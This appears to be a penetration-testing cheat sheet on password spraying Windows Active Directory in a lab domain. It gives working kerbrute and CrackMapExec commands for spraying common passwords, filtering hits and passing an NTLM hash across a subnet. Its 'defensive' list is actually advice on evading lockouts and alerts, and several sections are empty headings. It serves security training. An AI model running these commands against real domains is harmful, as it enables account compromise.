Password Spraying - Windows

Password Spraying - Windows

Password spraying is a technique that attempts to access multiple accounts with a few commonly used passwords, helping avoid account lockouts while attempting to discover valid credentials.

Internal Password Spraying - from Linux

Using Kerbrute for Password Spraying

Kerbrute uses Kerberos pre-authentication to perform password spraying with minimal risk of account lockouts.

# Basic password spray against a domain
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

# With delay between attempts
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 -t 1 --delay 5 valid_users.txt Welcome1

# Specify specific domain controller
kerbrute passwordspray -d inlanefreight.local --dc dc01.inlanefreight.local valid_users.txt Welcome1

Using CrackMapExec (CME)

CrackMapExec is a versatile tool for testing credentials against multiple targets.

# Basic SMB password spray
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123

# Filter successful logins
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

# Test against specific domain
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 -d INLANEFREIGHT.LOCAL

# Test against subnet
sudo crackmapexec smb 172.16.5.0/24 -u valid_users.txt -p Password123

# Using local authentication
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

Validating Credentials with CrackMapExec

Internal Password Spraying - from Windows

Using DomainPasswordSpray.ps1

DomainPasswordSpray is a PowerShell script for internal domain password spraying.

Using Rubeus

Rubeus can perform Kerberos-based password spraying.

Enumeration with Valid Credentials

Domain User Enumeration with CME

Domain Group Enumeration with CME

Session and Logged On User Enumeration

Share Enumeration

Password Spraying Strategy

Determining Lockout Policy

Building Target User Lists

Batch Processing

Defensive Considerations

  1. Account Lockout Policy: Always check the domain's lockout policy before spraying

  2. Avoid Service Accounts: Target only user accounts, avoiding service accounts that may trigger alerts

  3. Use Minimal Attempts: Try only the most likely passwords to minimize failed login events

  4. Timing: Space out attempts to stay under the lockout threshold

  5. Monitor for Lockouts: Regularly check if any accounts are getting close to lockout

Last updated